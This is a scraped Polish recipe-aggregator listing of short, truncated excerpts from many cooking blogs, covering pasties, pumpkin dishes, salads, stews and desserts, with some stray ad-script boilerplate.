Proste paszteciki imprezowe 214

szybkiego pomysłu na coś dobrego na imprezę Wystarczy przygotować ciasto, nadziać całość pysznym pasztetem z kurkami, upiec i podawać Tak przygotowane paszteciki smakują idealnie same lub w towarzystwie domowych sosów, a nawet ketchupu. Idealne na przyjęcie, sylwestra lub spotkanie z przyjaciółmi. Można je też podać na obiad Spróbujcie. Składniki: Ciasto na paszteciki: 500 g mąki pszennej 8 g suszonych drożdży

Słodkie okruszki
Zupa dyniowa z ryżem 150

klopsikami/pulpecikami.       Polecam również:         (adsbygoogle = window.adsbygoogle || []).push({});   Pomysły na obiad… Kluski śląskie Kotlety rybne siekane Burrito z mięsem mielonym Kurczak w sosie barbecue

Kulinarny S.O.S.
Wegetariańska zapiekanka dyniowa – korzystaj z uroków jesieni 153

solą, pieprzem, oregano oraz ostrą papryką. Umieść w naczyniu żaroodpornym. Do osobnego naczynia wlej 125 ml śmietanki i połącz z roztrzepanym jajkiem oraz szczyptą gałki muszkatołowej. Zalej zapiekankę przygotowanym sosem. Na wierzch dania wyłóż plastry pomidorów, a następnie posyp całość startym serem. Piecz około 30 minut w dobrze nagrzanym piekarniku. Wegetariańska zapiekanka dyniowa – korzystaj z uroków jesieni Smacznego! Artykuł Wegetariańska

Kulinarnyblog.pl - wiesz jak gotować!
5 obiadów na tydzień – jak robić, żeby się nie narobić 145

minut roboty – trzeba mieć tylko dobry przepis:) Zobacz przepis Wtorek: Pulpety strogonoff z boczniakami i makaronem soba Pulpety zrobiliśmy z tej samej masy co burgery. W towarzystwie śmietanowego sosu z boczniakami i gryczanym makaronem smakowały zupełnie inaczej niż burgery. Zobacz przepis Środa: Udka z kurczaka zapiekane z pęczakiem i cieciorką Tu pomysł był taki, żeby upiec więcej kurczaka, żeby wystarczyło

Niedzielny kucharz
Maślankowe placki ze śliwkami 128

posypane cukrem pudrem lub miodem. Placki z owocami to świetna propozycja na śniadanie na ciepło, podwieczorek lub kolację. Smakują na ciepło i zimno, także odgrzane w piekarniku i polane sosem owocowym lub dżemem. Wtedy można traktować je jako ciepły deser. SKŁADNIKI: 40 g masła 2 jajka 3 łyżki cukru z wanilią szczypta soli 1 szklanka maślanki 2 szklanki mąki

Zasmakuj Kuchni
Jajka – 75 przepisów na dania z jajkami 123

kuskusem, jajkiem, awokado i groszkiem Sałatka z kaszą gryczaną Koreczki z jajkiem, szynką, kiełkami, serem camembert i pomidorkiem Sałatka z fasolki szparagowej, szparagów, jajka i orzechów Jajka w sosie czosnkowym Sałatka z jarmużem, szparagami, wędzonym łososiem i suszonymi pomidorami Artykuł Jajka – 75 przepisów na dania z jajkami pochodzi z serwisu Dorota Smakuje

Dorota Smakuje
Figowy zawrót głowy, czyli sałatka z figą na ciepło 157

smażymy. Z limonki wyciskamy sok. Dodajemy do pomarańczy, mieszamy. Zdejmujemy patelnię z ognia. Dodajemy figi i 3/4 sera, mieszamy. Przekładamy na talerz i dodajemy pozostałą część sera. Polewamy powstałym sosem

Kucharzyca
Serowy gulasz z dynią i fasolką 140

Jesienny gulasz z dynią, cukinią, świeżymi ziarnami fasoli w pomidorowo serowym sosie. Do tego mnóstwo aromatów, i smaków które fajnie łączą się. Trzeba korzystać z dobrodziejstw natury o tej porze roku.   Składniki: 1/2 dyni hokkaido 1 cukinia mała 2 marchewki 1 kawałek pora biała część 1 cebula 2 ząbki czosnku 1 szklanka ziaren fasoli fioletowej

wesoła kuchnia
Cukiniowa tarta "z kratką" na cieście francuskim 172

śmietaną, Pozostałe paski ciasta francuskiego ułożyć na wierzchu, przekładając tak aby utworzyły kratkę. Wstawić do piekarnika nagrzanego do 180 stopni na około 35-40 minut. Podawać z surówką i sosem czosnkowym . Smacznego

Moja kraina smaków
Kofty z jagnięciny 128

patyczki do grilla. Kofty z jagnięciny smażyć na dobrze rozgrzanej patelni grillowej po kilka minut z każdej strony. Kofty z mielonego mięsa świetnie smakują podane z pieczonymi ziemniakami i sosem tzatziki . (adsbygoogle = window.adsbygoogle || []).push({}); Artykuł Kofty z jagnięciny pochodzi z serwisu Niecodziennik Pary

niecodziennikpary
Brownie z cukinii 173

już wcześniej, cukinia nadaje się do przygotowania wielu ciekawych potraw. Można przygotować z jej dodatkiem smaczną i pożywną sałatkę lub wspaniałe gofry z cukinii. Gofry z cukinii podane z sosem i surówka sprawdzą się na szybki i smaczny obiad. Z jędrnej młodej cukinii można przygotować makaron z dodatkiem krewetek. Koniecznie wybierzcie coś dla siebie! Smażone kwiaty cukinii Sałatka z cukinią

SprawdzonaKuchnia.pl
Omlet cesarski podany z owocami 159

drugie śniadanie poleca się miękki, puszysty i idealny w smaku OMLET CESARSKI 😜 Podałam go z sosem truskawkowym i świeżymi owocami. Dla starszych dzieci jak i dorosłych - omlet można posypać cukrem pudrem. Składniki na porcję dla 2 osób: 3 duże jajka 1/2 szklanki mąki pszennej 1/2 szklanki mleka szczypta soli ewentualnie 1 łyżka cukru 1 łyżka masła klarowanego Białka oddzielić

Ugotować
Cukinia w pięciu smakach 137

dodajemy czosnku i kwiatów cukinii i chwilę dusimy. Cukinię kroimy w plasterki i podsmażamy z dwóch stron. Makaron cukiniowy dajemy do sitka i polewamy wrzącą wodą. Dajemy na niego sos z duszonej cukinii i kładziemy na wierzch podsmażone plasterki. Posypujemy nieobraną, startą na drobnych oczkach, a jakże, cukinią

Kryzysowa Książka Kucharska
Rozgrzewające curry z kurczakiem i dynią 143

Madras Paste Pots, dynię, smażyłam przez 5 minut. Następnie podlałam wodą(można dolać mleka kokosowego) Po 5 minutach dodałam kurczaka i dusiłam aż dynia była miękka, woda odparowała, a sos ładnie się zagęścił. Na koniec dodałam posiekaną kolendrę. W między czasie ugotowałam ryż w osolonej wodzie. Smacznego

magiczna kuchnia Kasi
Fit placki ziemniaczane z dynią 148

dynią pieczone w piekarniku są zdrowe, smaczne, chrupiące i niskokaloryczne. Jeśli z podanych składników zrobimy 12 placków, to jeden będzie miał tylko 77 kcal. Placki świetnie smakują podane z sosem czosnkowym lub jogurtowym i ulubioną surówką. Jeśli chcecie przygotować je w wersji wegańskiej to po prostu nie dodawajcie jajka, też będą dobre. Dzięki dodaniu mąki z ciecierzycy placki są bezglutenowe

e-PrzepisyKulinarne
Pieczone pałki z kurczaka na ryżu 128

garnka wlewamy ciepłą wodę, dodajemy masło koncentrat, cukier oraz pieprz. Całość zagotowujemy. Do naczynia żaroodpornego wsypujemy suchy ryż, Układamy pałki z kurczaka, wsypujemy warzywa. Całość zalewamy przygotowanym sosem. Wkładamy do nagrzanego piekarnika do temperatury 180 stopni. Pieczmy ok. 75 minut, aż mięso będzie miękkie a ryż wchłonie wodę. Smacznego! Zapraszam was również do odwiedzania  mojego Facebooku gdzie dodaje

Kulinarne przygody
Gulasz z indyka z cukinią 154

dodaję cukinię i smażę  przez kolejne 3-4 minuty. Do garnka z mięsem dodaję cebulę z cukinią i całość gotuję, aż mięso będzie miękkie. Na sam koniec, zagęszczam sos. Mąki mieszam z odrobiną zimnej wody, wlewam i zagotowuję. W razie potrzeby doprawiam do smaku solą i pieprzem. Smacznego

magiczna kuchnia Kasi
Jogurtowa panna cotta 161

różnymi dodatkami (np. wanilią, musem owocowym, skórką cytrynową), po czym wylewa do okrągłej foremki, w której stygnie i wtedy przybiera jej kształt. Podawana jest zazwyczaj z owocami lub sosem owocowym. Ja dziś przygotowałam nieco odchudzoną wersję panna cotty - zamiast śmietanki użyłam jogurtu. Deser wyszedł naprawdę pyszny!   Jogurtowa panna cotta - przepis na 4 porcje Do przygotowania panna cotty będziesz potrzebować

Z notatnika dietetyka
Fit paluszki rybne 133

dorsza. Masę na paluszki należy obtoczyć w zblendowanych płatkach kukurydzianych i całość upiec w piekarniku. Gotowe paluszki mają chrupiącą skórkę i miękki środek. Świetnie będą smakować podane z ulubionym sosem, np. czosnkowym, pomidorowym. Poniższe paluszki podałam z warzywami ugotowanymi na parze (fasolka szparagowa, kalarepa i bataty). Składniki na porcję dla 2-3 osób: 0,4 kg polędwicy z dorsza

Ugotować
Śliwkowa konfitura z grzybami 135

bardzo odważne, ale przecież kto nie ryzykuje... ten nie je oryginalnych dań. Tym razem też zaryzykowałam i powiem Wam, że warto było. Na bazie śliwkowego chutneya, czyli wytrawnego gęstego sosu z cebulą powstała aromatyczna śliwkowa konfitura z grzybami.  Jest idealna na chrupiącą grzankę zjedzoną w akompaniamencie doskonałego wytrawnego czerwonego wina i wtedy żadne jesienne chłodne wieczory nie będą

Kulinarne przygody Gatity
Klasyczna zupa pomidorowa 137

kładzione) .     Polecam również:     (adsbygoogle = window.adsbygoogle || []).push({});   Pomysły na obiad… Curry z mięsem mielonym Karkówka duszona w Karmi Burrito z mięsem mielonym Kurczak w sosie barbecue

Kulinarny S.O.S.
Pieczeń z karkówki -przygotujesz ją w kilka minut 147

Pyszna pieczeń z karkówki dla całej rodziny. Prosta ale aromatyczna marynata na bazie sosu sojowego, musztardy francuskiej i miodu, nadają jej wyjątkowy smak. Nie wymaga dużo pracy - przygotujesz ją w kilka minut i już tylko czekasz aż się upiecze. Mięciutka i soczysta, idealna na obiad. Można podać ją z ziemniaczkami, lub ryżem co kto lubi, polecam gorąco

Swojskie jedzonko
Sernika PeperMint z mnóstwem czekolady Faceta w Kuchni 152

potrawom, aromatyzowała nasze wyroby i leczyła niestrawność. Pliniusz 23-79 ne, rzymski naukowiec i historyk, w swojej historii mięty pieprzowej odnotował, że Grecy i Rzymianie używali mięty do aromatyzowania sosów i win. Ich stoły zdobiły także spraye mięty pieprzowej. Starożytni greccy lekarze używali dwóch różnych gatunków mięty, ale niektórzy eksperci wątpią, że jeden z nich jest tym, co znamy dzisiaj

RafalCook
Dynia pieczona z czosnkiem 155

okresie jesiennym dynia jest jednym z tych warzyw, po które sięgam bardzo często. Zazwyczaj piekę ją a później miksuję. W formie puree wykorzystuję ją do zup, ciast oraz sosów. Ostatnio upiekłam dynię z dodatkiem czosnku oraz oliwy i podałam ją w kawałkach. Pieczona dynia przygotowana w ten sposób może być świetną przekąską na lunch jak i smacznym dodatkiem do dań

MeCooks
Sałatka z serem sałatkowym i pomidorkami koktajlowymi 122

cytryny, miód, zioła i doprawiam solą i pieprzem, dokładnie mieszam.  Na półmisku układam sałatę, na wierzch pomidorki, ser sałatkowy i posiekany szczypior.  Całość  polewam sosem. Smacznego

magiczna kuchnia Kasi
Kanapki z kozim serem i figami 117

kolację – kanapka z camembert i żurawiną –  kanapka ze szparagami i łososiem –  kanapka ze stekiem –  tacos ze stekiem – najlepszy  domowy cheeseburger –  stek z sosem whisky –  makaron ze szparagami –  sałatka ze szparagami i jajkiem KANAPKI Z KOZIM SEREM I FIGAMI PRZYGOTOWANIE: 10 minut SKŁADNIKI: – pieczywo – chleb lub bagietka (zrób pyszne bagietki z mojego przepisu

nietylkopasta.pl
Sałatka z arbuzem, fetą i orzechami 119

półmisku lub mniejszych talerzach rozkładam roszponkę, na nią pokrojony arbuz, ser i posypuję orzechami. Oliwę mieszam z sokiem z limonki, doprawiam do smaku solą i pieprzem.  Tak przygotowanym sosem polewam z wierzchu sałatkę. Smacznego

magiczna kuchnia Kasi
Sałatka figowa z pomidorkami oraz mozzarellą 193

ułożyć kuleczki mozzarelli. Pestki dyni uprażyć na suchej patelni, wystudzić. Olej wymieszać z musztardą. Doprawić do smaku solą, pieprzem i sokiem z limonki. Sałatkę posypać pestkami dyni i skropić sosem i można podawać

Monia miesza i gotuje
Kotlery z kalafiora i kaszy z pieczarkami 168

jajko lub 1 łyżka mielonego siemienia lnianego kilka łyżek bezglutenowej lub zwykłej bułki tartej do obtaczania 350 gram pieczarek olej 1 łyżeczka ziołowego pieprzu  1 łyżka tamari lub sosu sojowego ( opcjonalnie) sól i pieprz do smaku natka spore ilości Cebulę pokrojoną w kostkę i czosnek zeszklić na niewielkiej ilości oleju. Kalafiora, kaszę i resztę składników umieścić w malakserze

AZgotuj!
Makaron konjac w ostrym sosie curry 319

fileta z indyka 1/2 czerwonej papryki 1 słoik kiełków fasoli mung 1/2 cebuli 1/2 szklanki mleka 1 łyżka pasty curry 1/2 łyżki … Czytaj dalej Makaron konjac w ostrym sosie curry

czarrna od kuchni
Tosty z salami, serem i pomidorem 152

plaster pomidora. Zakrywamy drugą kromką pieczywa i wkładamy do opiekacza. Pieczemy do czasu, aż pieczywo będzie rumiane, a żółty ser się rozpuści. Tosty podajemy z ketchupem, majonezem albo np. sosem BBQ . Tosty z salami, serem i pomidorem Smacznego! Artykuł Tosty z salami, serem i pomidorem pochodzi z serwisu Kulinarny Blog - wiesz jak gotować

Kulinarnyblog.pl - wiesz jak gotować!
Francuska zupa cebulowa 123

Następnie dolewamy białe wino. Gotujemy ok. 10 min. Wlewamy wodę/bulion. Gotujemy ok. 15 minut. Doprawiamy solą i pieprzem. Jeżeli nasza cebula za słabo się skarmelizowała można dodać trochę sosu sojowego dla koloru. Piekarnik nagrzewamy do 180 stopni. Bagietkę/bułkę kroimy. Ser ścieramy na grubych oczkach. Jeżeli mamy naczynia żaroodporne na zupę to zupę przelewamy do nich, na wierzchu

Czarnawisienka
Amerykańskie, włoskie, neapolitańskie – jak zrobić idealne ciasto na pizze? 135

można na różne sposoby. Klasyczna pizza włoska Pizza jest jedną z najbardziej rozpowszechnionych na świecie potraw kuchni włoskiej. W formie najbardziej klasycznej, ma postać placka z ciasta drożdżowego z sosem pomidorowym oraz posypką z tartego sera – najczęściej mozarelli. Po doprawieniu różnymi ziołami, pizzę piecze się w mocno nagrzanym piecu. Podawać można ją zarówno na gorąco, jak i na zimno

jakszef.pl
Jabłka pieczone faszerowane kremem 127

jabłka cynamonem i cukrem waniliowym. Piekarnik nagrzać do 180 C i piec 15-20 minut. Ja piekłam w airfyer, wyszło super. Jabłka podawać z gałką lodów i polać wytworzonym sosem. Bardzo polecam

Kuchnia Pokoleń
PIECZONE JABŁKA Z KRÓWKAMI 121

niespodzianka w środku, dodatek cukierków. Nie zapominajmy tu o dodatku cynamonu, bo jak jabłka to składnik ten koniecznie musi być użyty ;) Po upieczeniu z krówek powstaje przepyszny krówkowy sos. Czy to nie brzmi apetycznie? Jeśli podoba Ci się film subskrybuj mój kanał na YouTube -->  kliknij tutaj Składniki: * 3 jabłka (najlepsze słodko-kwaśne) * 3 krówki (użyłam krówki  Gibar

Zrób to smacznie
Makaron rigatoni z indyczym ragu bianco 186

poinformować, iż zostałam ambasadorką wyżej wymienionego programu. Warsztaty prowadził szef kuchni Szymon Szlendak. Na warsztatach przygotowywaliśmy 2 dania: – Makaron rigatoni z indyczym ragu bianco, – Eskalopki indycze w sosie cytrynowym z kaszą bulgur w stylu greckim. Oba dania były świetne i na pewno powtórzę je w domu. Dzisiaj podzielę się z Wami makaron z indyczym ragu bianco. Składniki

Moja pasja smaku
Chłopski bigos z cebuli – szybkie i pyszne danie na obiad 175

minuty, aż jabłka zaczną się lekko rozpadać. Chłopski bigos z cebuli – szybkie i pyszne danie na obiad Zobacz inne przepisy na proste i tanie dania na obiad: Jajka z sosie chrzanowym – przepis na szybki i tani obiad Leczo z cukinią i pieczarkami – pyszny i prosty przepis Kociołek chłopski z makaronem – obiad jednogarnkowy Kurczak w musztardzie pieczony na ziemniakach Łazanki

e-PrzepisyKulinarne
Lunchboxy – sposób na domowe jedzenie na wynos 177

wariant. Z kolei do spakowania obiadu przydadzą się pojemniki z przegródkami , w jakim poszczególne składniki nie będą się ze sobą mieszać. Dostępne są nawet modele z osobnym miejscem na sos. Osoby, dla których ważne jest, aby zjeść ciepły posiłek, mogą wybrać wariant przeznaczony do użytkowania w mikrofalówce. Jaki lunchbox do pracy wybrać? Pojemnik powinien być dopasowany do potrzeb korzystającej

Kulinarnyblog.pl - wiesz jak gotować!
Czym różnią się od siebie patelnia ze stali nierdzewnej od tej nieprzywierającej? 128

stali nierdzewnej są nieprzywierające? Ponownie, na patelniach ze stali nierdzewnej nie ma nieprzywierającej powłoki. Oznacza to, że gdy są używane do smażenia lepkich potraw, takich jak jajka lub przygotowywania sosów, te mogą łatwo przywierać do patelni. Z drugiej strony patelnie nieprzywierające mają tę zaletę, że są powlekane. W rezultacie ta lepkość nie stanowi problemu, chyba że, oczywiście, patelnia jest już

Codogara
Ostry kurczak z kaszą i warzywami 112

Ostatnio zagustowałam w kaszach i dość często gości ona na moim stole. Dzisiaj przygotowałam kaszę z warzywami i z kurczakiem w lekko ostrym, orientalnym sosie. Świeża natka pietruszki dodaje wyrazistości temu daniu. Wyszło przepysznie! Ost Artykuł Ostry kurczak z kaszą i warzywami pochodzi z serwisu DoGarow.pl

Do Garów!
Zapiekanka meksykańska z ryżem 143

dobry sposób na wykorzystanie wczorajszego ryżu. Jeśli nie masz go w lodówce, danie zrobisz równie szybko z suchego ryżu. Zmiana polega na tym, że kiedy już przygotujesz bazę, czyli sos (krok 2 w przepisie), to nie dodajesz gotowany ryż, tylko wlewasz szklankę bulionu, albo wody, wsypujesz pół szklanki ryżu, przykrywasz i wstawiasz do piekarnika na 20 minut. Potem odkrywasz, posypujesz

Niedzielny kucharz
Gulasz wieprzowy z fasolką i ziemniakami 205

mieszamy. Zmniejszamy ogień, przykrywamy i dusimy około 15 minut.   Po upływie 15 minut dodajemy zieloną fasolkę szparagową, przykrywamy i dusimy jeszcze 10 minut. Po tym czasie rozprowadzamy w sosie koncentrat pomidorowy, dodajemy odsączoną białą fasolę. Mieszamy, próbujemy i doprawiamy od smaku solą i pieprzem. Tak przygotowany gulasz jest gotowy do podania.   Powrót na górę

Smaczna Strona
Pieczone frytki z fioletowych ziemniaków 146

tradycyjnym piekarniku gazowym w 225°C przez około 30-35 minut. W połowie czasu pieczenia, frytki przełożyć na drugą stronę. Gotowe frytki muszą się lekko zarumienić. Podawać z ulubionym sosem, np. pomidorowym, czosnkowym.. Frytki podałam z pieczonym łososiem oraz warzywami na parze (fasolką szparagową i marchewką

Ugotować
Śledzie z miodem, w pomidorach 111

Odstawiłam do ostudzenia. Śledzie moczyłam ok. 30 min.(czas moczenia zależy od słoności śledzi) w mleku. Następnie opłukałam i pokroiłam na kawałeczki ok 2 cm.  Wymieszałam z przygotowanym sosem pomidorowo-miodowym i przełożyłam do słoika. Wstawiłam do lodówki na 12 godzin. Smacznego

Co w garnkach piszczy
Falafel – szybki i prosty przepis 148

charakter tej potrawy, po falafel bardzo chętnie sięgają weganie i wegetarianie. Falafel jest naprawdę prosty w przygotowaniu. Te charakterystyczne smażone kulki z ciecierzycy wybornie smakują w towarzystwie humusu, domowych sosów i warzywnych dodatków. Sprawdź przepis na: Domowy kebab Składniki 200 g ciecierzycy (suche ziarna) 0,5 średniej cebuli 2 ząbki czosnku 2 łyżki posiekanej zielonej pietruszki 1 płaska łyżeczka mielonego

Kulinarnyblog.pl - wiesz jak gotować!
Ajwar pikantny 178

zależności od upodobań może być bardziej pikantna (ljuti) lub łagodna (blagi). Jest aromatyczna i przepyszna. Świetnie nadaje się jako dodatek do makaronu, mięs (zgłasza grillowanych) a nawet jako sos na pizzę. Sprawdza się również na kanapkach czy jako dip z chrupiącymi słupkami marchewki. Przygotowanie jest czasochłonne ale nie pracochłonne… w zasadzie robi się sama J   Składniki: (na 8 średnich

Pyry na Gaz
Ziemniaki panierowane z piekarnika 147

popularne w Polsce warzywo. W tym wydaniu są z wyjątkowo chrupiącą panierką, a to za sprawą płatków kukurydzianych, w których zostały obtoczone. Takie ziemniaczki doskonale smakują podane z bezmięsnym sosem grzybowym . Są więc z pewnością świetną propozycją na pyszny obiad wegetariański. Lubisz ziemniaki pieczone w piekarniku? Szukasz pomysłów na przygotowanie ich w inny, niż klasyczny sposób? To mamy podobnie

Kuchnia Na Wypasie
Co na obiad, żeby nie było nudno? Sięgnij po delikatesy 191

serów nie rozwinęła się, pomimo że w wielu europejskich krajach, i to wcale nie tak nam odległych, serowarstwo urosło wręcz do rangi sztuki. Sery mogą składnikiem wielu dań makaronowych, sosów, dipów lub zup . Niezwykle pyszną przystawką lub zakąską okaże się deska serów, która będzie świetnie komponować się z winem lub rzemieślniczym piwem. Warto poznawać gatunki serów pochodzące z krajów, które

Kulinarnyblog.pl - wiesz jak gotować!
Wegańskie curry z tofu i fasolką szparagową. PRZEPIS 193

także niecałe pół szklanki wody, dopraw solą, dokładnie wymieszaj i gotuj wszystko pod przykryciem około 10 minut. Pomidory sparz we wrzątku, obierz, pokrój w ćwiartki i także dodaj do sosu, gotuj kolejne 5 minut. Na koniec do curry wyciśnij sok z cytryny oraz dodaj posiekaną natkę, ponownie dokładnie wymieszaj i od razu podawaj – na przykład z brązowym ryżem. Rada

Kulinarna Polska
Meksykańskie fajitas z kurczakiem 131

obiad lub kolację. Wygląda bardzo kolorowo i efektownie, więc świetnie sprawdzi się w roli przekąski na przyjęciu. Samo przygotowanie jest banalnie proste. Oryginalnie do podania można dodać różne sosy. Najpopularniejszy to guacamole ( przepis ) lub pikantna salsa pomidorowa. W niektórych miejscach jedzone są w prosty sposób, skropione tylko świeżym sokiem z limonki. Taka właśnie prosta wersja smakuje mi najbardziej. Artykuł Meksykańskie

Gotujemywdomu.pl
Buraki pieczone 116

talerzu? Czy buraki do obiadu zawsze muszą oznaczać potartą buraczaną papkę? Moim rozwiązaniem tego buraczanego dylematu są buraki pieczone w piekarniku. Tak przygotowane buraki podane na przykład z sosem jogurtowym są wspaniałym lekkim daniem. Można ich też użyć jako zamiennika ziemniaków i podać jako dodatek do ryby lub mięsa. O tym, że buraki są zdrowe nikomu nie trzeba przypominać

Gotujemywdomu.pl
Wiosenna sałatka z wędzonym kurczakiem 140

często jemy ją na kolację, w formie szybkiego obiadu albo zabieramy ją do pracy w formie lunchbox’a. Sałatkę można zrobić w wersji fit- bez dodatku majonezu do sosu albo w wersji z majonezem. Oczywiście sałatkę możesz dowolnie modyfikować, ale mi w takiej wersji smakuje najlepiej.   Artykuł Wiosenna sałatka z wędzonym kurczakiem z bloga Gotujemy w domu - blog

Gotujemywdomu.pl
Soczyste kotlety z piersi z kurczaka 134

sałatki. Inną propozycją podania może być obiad, w którym ziemniaki zastąpimy np. tymi burakami . Świetnym pomysłem zwłaszcza dla dzieci będzie przygotowanie domowych chickenburgerów- kotlety podajesz w bułce z dodatkiem sosu i warzyw. Artykuł Soczyste kotlety z piersi z kurczaka z bloga Gotujemy w domu - blog kulinarny

Gotujemywdomu.pl
Ziemniaki jak z ogniska! 424

propozycji obiadowych: –  pieczone ziemniaki –  ziemniaki zapiekane ze śmietaną –  ziemniaki nakrajane –  ziemniaki w mundurkach –  kotlet schabowy –  ragu z kaczki –  szaszłyki z kurczaka w sosie miodowo-musztardowym –  polędwiczki z kurkami –  królik w winie –  polędwiczki z szynką parmeńską –  żeberka barbeue –  pulled pork –  kotlet de volailee –  kurczak na butelce piwa

nietylkopasta.pl
Surówka obiadowa Colesław z białej kapusty 209

Surówka to surowe warzywa z sosem i przyprawami. Najzdrowsza forma, dzięki której warzywa zachowują najwięcej cennych wartości odżywczych. Surówka Colesław to jedna z najsmaczniejszych surówek obiadowych. (adsbygoogle = window.adsbygoogle || []).push({}); Drukuj Surówka obiadowa Colesław 5 od 2 osób Autor: Paweł Clad Danie: Surówka Kuchnia: Holenderska Trudność: Łatwe Porcje 6 porcji Przygotowanie 30 min. Kalorie 30 kcal Najlepsza chrupiąca surówka z białej

ProstePesto.pl
Gyros Premium 314

mięsa dodajemy pokrojone w paski papryki oraz w pokrojone w kostkę ogórki. 5.    Majonez mieszamy z ketchupem i smarujemy upieczone warzywa. 6.    Na sosie układamy mięso i posypujemy startym na tarce o dużych oczach żółtym serem. 7.    Chwilę zapiekamy do rozpuszczenia się sera. 8.    Gotowe. 9.    Smacznego

Kulinarna Chwila
Błyskawiczna sałatka ryżowa z ananasem 142

dokładnie. Sałatkę przed podaniem odstawiamy na pół godziny do lodówki.   Błyskawiczna sałatka ryżowa z ananasem Zobacz inne przepisy na sałatki z ryżem: Pyszna Sałatka Z Ryżem, Brokułem I Sosem Czosnkowym Sałatka Z Ryżem I Łososiem Sałatka Z Tuńczykiem I Wędzonym Serem Szybka Sałatka Z Ryżem Sałatka Z Tuńczykiem I Ryżem Sałatka Z Paluszkami Krabowymi Artykuł Błyskawiczna sałatka ryżowa

e-PrzepisyKulinarne
Kasza gryczana z cukinią i pomidorami 124

kroimy w kostkę, podobnie pomidory. Na patelnię wylewamy oliwę z oliwek. Dodajemy czosnek i cukinię, gdy będzie półtwarda dodajemy pomidory ze skóra i sokiem. Podsmażamy, aż powstanie delikatny sos. Doprawiamy do smaku. Podajemy z ugotowaną kaszą i warzywami posypanymi posiekaną natką z pietruszką

Moja smaczna kuchnia
Zapiekanka makaronowa z szynką, papryką i serem. 181

chili ) - 0.5 łyżeczki czosnku mielonego - szczypta gałki muszkatołowej - sól, pieprz do smaku - olej Wykonanie Szynkę i paprykę kroję w kostkę, ser ścieram na tarce o dużych oczkach. Przygotowuję sos: Śmietankę, wodę i surowe jajko dokładnie mieszam, dodaję wszystkie przyprawy. Naczynie żaroodporne smaruję delikatnie olejem. Wsypuję do niego surowy makaron, na makaron daję szynkę i paprykę. Całość równomiernie zalewam soseem. Wierzch

Kuchnia z widokiem na ogród
Szaszłyki z kurczaka i papryki 166

każdej strony po 3-4 minuty, obracamy szaszłyki równomiernie aż mięso będzie rumiane. Ja grillowałam szaszłyki na patelni grillowej posmarowanej olejem rzepakowym. Po upieczeniu podawać z ulubionymi dodatkami np. sosem tysiąca wysp czy czosnkowym. The post Szaszłyki z kurczaka i papryki appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Sałatka z tuńczykiem i zielonym ogórkiem 113

tego prosty, czosnkowo-jogurtowy dressing, który idealnie dopełnia całość. Musicie ją wypróbować! Sałatka z tuńczykiem i zielonym ogórkiem – składniki (2 porcje): 100g mixu sałat, 150g tuńczyka w sosie własnym, 1 zielony ogórek, 4 łyżki kiełków brokuła. Dressing: 100g jogurtu naturalnego, łyżka oliwy z oliwek, 2 ząbki czosnku, szczypta soli i pieprzu. Sposób przygotowania Najpierw wrzucamy do miski mix sałat

Natka Pietruszki
SOCZYSTY KURCZAK PIECZONY W MAJONEZIE 108

godzin. Piekarnik nagrzać do 160'C. Na blachę wyłożyć papier do pieczenia, ułożyć mięso. Piec je po 25 minut z każdej strony. Mięso podałam z ziemniakami, sosem grzybowym i ogórkami krojonymi w ćwiartki  Moryń . Ogórki mają kwaśno- słodki posmak i idealnie wkomponowały się w cały obiad

Zrób to smacznie
Bulion warzywny 135

pietruszki, cebula, seler korzeniowy oraz por. Warzywa te są podstawą bulionu, który w zależności od pożądanego smaku wzbogacić można ziołami czy pikantną papryką. Bulionu najczęściej używam do zup, risotto, sosów, duszenia warzyw i mięs. Bulion przetrzymywać można w lodówce przez kilka dni. Idealnie nadaje się także do mrożenia. Znajdziesz mnie na Instagram:  mecooksblog  oraz Facebook:  MeCooks Bulion

MeCooks
Sernik bezglutenowy? Poznaj najlepsze przepisy na ciasta bezglutenowe! 140

sernik bezglutenowy? Bardzo łatwo! Wystarczą do niego zaledwie jajka, cukier, twaróg sernikowy, mąka ziemniaczana, masło i pasta z wanilii. Dodatkowo, można go podawać np. z bitą śmietaną, owocami czy sosami – np. czekoladowym lub karmelowym! Szukasz wyjątkowego przepisu na sernik bez glutenu? Wejdź na stronę  https://wszystkiegoslodkiego.pl/przepisy/serniki-i-ciasta-z-serem/sernik-bezglutenowy . Bezglutenowy torcik czekoladowy, brownie czy muffinki? Sernik to nie jedyne ciasto, które

Moja smaczna kuchnia
Zaplanuj obiady na cały tydzień 172

kilka dni. Ugotowaliśmy trochę więcej kaszy i więcej pure niż potrzeba. Wtorek : wegetariańska zapiekanka pasterska z boczniakami. W daniu wykorzystamy pure – jakie zostało z poniedziałku – do zapieczenia sosu grzybowego, do którego dodamy też kaszę z dzisiaj. Z 250-gramowej paczki boczniaków zachowamy też kilka grzybów na później. Środa : Przy okazji pieczenia wtorkowej zapiekanki, upieczemy drugą połowę kalafiora

Niedzielny kucharz
Zdrowy de vollaille z kaszy i indyka 108

dodawać ani jajka ani bułki tartej. Kotlety de volaille zrobiliśmy z kaszą gryczaną niepaloną – ma ona mniej intensywny smak niż kasza palona. Z kaszy palonej doskonale wychodzą pulpety w sosie pomidorowym. Składniki: 1 szklanka ugotowanej kaszy gryczanej niepalonej 250 g mielonego indyka 1 łyżka musztardy Dijon, albo miodowej 1 łyżeczka tymianku 1 łyżeczka oregano 1 łyżeczka suszonego czosnku 5 plasterków

Niedzielny kucharz
Łopatka z grzybami leśnymi 131

umyte i pokrojone grzyby. Radzę pokroić na duże kawałki. Ja pokroiłam zbyt drobno, co odbiło się na ostatecznym wyglądzie dania. Razem duszę kolejne 25 min.w miarę potrzeby podlewając wodą. (sos ma odparować). Doprawiam solą i mielonym pieprzem. Można posypać zieloną pietruszką. podaję z kaszą pęczak

Co w garnkach piszczy
Makaron tagliatelle z kurczakiem i kurkami w sosie śmietanowym 101

śmietany. Składniki: makaron tagliatelle 2 filety z kurczaka kurki około 200 g 1/2 cebuli 1 ząbek czosnku 200 ml śmietany 18% (nie zabijcie – uwielbiam taką w tym konkretnym sosie) sól świeżo zmielony pieprz Makaron gotujemy al’dente. Na patelnię dodaję olej, na nim duszę pokrojoną w kostkę cebulkę i rozmiażdżony ząbek czosnku. Dodaję umyte i oczyszczone kurki. Chwilkę

MojaQchnia.pl
Piczone ziemniaki jak z ogniska 140

